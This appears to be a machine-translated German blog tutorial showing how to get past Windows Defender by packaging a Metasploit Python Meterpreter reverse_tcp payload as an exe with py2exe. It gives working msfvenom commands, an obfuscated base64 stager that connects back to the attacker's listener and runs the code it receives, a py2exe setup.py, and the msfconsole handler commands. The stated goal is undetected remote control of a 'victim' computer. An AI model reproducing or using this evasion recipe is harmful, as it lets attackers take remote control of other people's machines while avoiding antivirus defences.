Billig und fröhlich mit Windows Defender umgehen: Meterpreter-Sitzung über Python

Bild

Hallo an alle. Heute werden wir die Option in Betracht ziehen, Meterpreter-Sitzungen auf einem Windows 10-Computer mit den neuesten Patches (einschließlich Windows Defender) auszuführen. Und wir werden auch Antivirenprogramme umgehen. Meterpreter ist eine fortschrittliche multifunktionale Füllung (Nutzlast, Last), die zur Laufzeit dynamisch erweitert werden kann. Unter normalen Umständen erhalten Sie dadurch eine grundlegende Shell, mit der Sie bei Bedarf neue Funktionen hinzufügen können.
Wir werden dies mit Python tun und sehen, wie sich Antiviren-Tools verhalten.

Wenn ich die Frage "Brauchen wir Python auf dem Computer des Opfers, um exe auszuführen?" Voraussage, werde ich sofort antworten - nein, nicht benötigt, alles ist bereits drin.

In diesem Artikel verwenden wir:

  • Windows 10 mit aktiviertem Windows Defender mit aktualisierten Datenbanken (Opfercomputer 192.168.1.113);
  • Kali Linux für die Verwendung von Metasploit und msfvenom (192.168.1.126);
  • Windows 10 zum Zusammenstellen der Binärdatei (in unserem Labor entspricht sie dem Computer des Opfers) mit den installierten;
  • Python (3, aber auch für 2 werden wir sehen);
  • py2exe .

Zunächst skizzieren wir das Problem: Erstellen Sie eine Exe-Datei mit einer Standardlast, kopieren Sie sie auf den Computer des Opfers und sehen Sie, wozu sie führt.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe 

Wir erhalten eine Warnung von unserem alten Freund Windows Defender, den wir alle so sehr lieben.

Bild

Wenn wir VirusTotal fragen, sagt er Folgendes:

Bild

Lassen Sie uns Python ausführen und das tun, wofür wir alle zusammenkommen.

Python / meterpreter / reverse_tcp ist ein einzigartiges plattformübergreifendes Metasploit-Framework für Nutzdaten, mit dem Sie einen gefährdeten Computer fernsteuern können. Sie müssen nicht überlegen, welche Plattform Sie auswählen sollen, sie funktioniert auf jeder Plattform. In diesem Fall erstellen wir jedoch eine ausführbare Datei für Windows.

Installieren Sie zunächst das Paket py2exe, mit dem Sie eine ausführbare Windows-Datei aus einem Python-Skript erstellen können.

Wir werden es Python 3.4 haben (alle oben genannten unterstützt py2exe nicht).

 py -3.4 –m pip install py2exe 

oder

 pip install py2exe 

Erstellen Sie als Nächstes einen rohen Python-Code mit der Erweiterung .py

 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py 

Auch in der Ausgabe von msfvenom müssen wir den getpass-Import hinzufügen, den er selbst vergisst. Am Ende sollte es so aussehen:

 import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK'))) 

Jetzt können wir eine Binärdatei erstellen.

 python34 -m py2exe.build_exe hunt.py --bundle-files 0 

Sie sollten Folgendes erhalten:

Bild

Schauen wir uns noch einmal VirusTotal an:

Bild

Schon besser, jetzt überprüfen wir es in Aktion. Nach dem Kopieren auf den Computer des Opfers verzichten wir auf Warnungen.

Führen Sie parallel dazu unsere msf und unseren Handler für Python aus, indem Sie die folgenden Befehle nacheinander ausführen:

 msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run 

Bild

Lassen Sie uns fortfahren und sicherstellen, dass die Sitzung ordnungsgemäß funktioniert.

Bild

Daher wird die Sitzung gestartet und Windows Defender hat nicht funktioniert, was wir uns vorgenommen haben.

Schauen wir uns gleichzeitig an, was zu tun ist, wenn Sie über die Python 2. Version verfügen.

  1. Laden Sie py2exe für Python 2 herunter
  2. Generieren Sie Nutzdaten mit der Erweiterung .py
  3. Wir erstellen die Datei setup.py und schreiben dort Folgendes:

     from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, ) 
  4.  python.exe .\setup.py py2exe 


Alles sollte gleich sein.

Infolgedessen stelle ich fest, dass die Python-Meterpreter-Shell in ihrer Funktionalität dem bekannteren Windows-Meterpreter unterlegen ist. Sie können beispielsweise nicht auf den Prozess migrieren oder Befehle wie getsystem verwenden. Dies ist jedoch eine echte Alternative: Lassen Sie eine Sitzung mit msf (mindestens Routing und portfwd) arbeiten und arbeiten Sie im Netzwerk weiter.

Source: https://habr.com/ru/post/de459168/


All Articles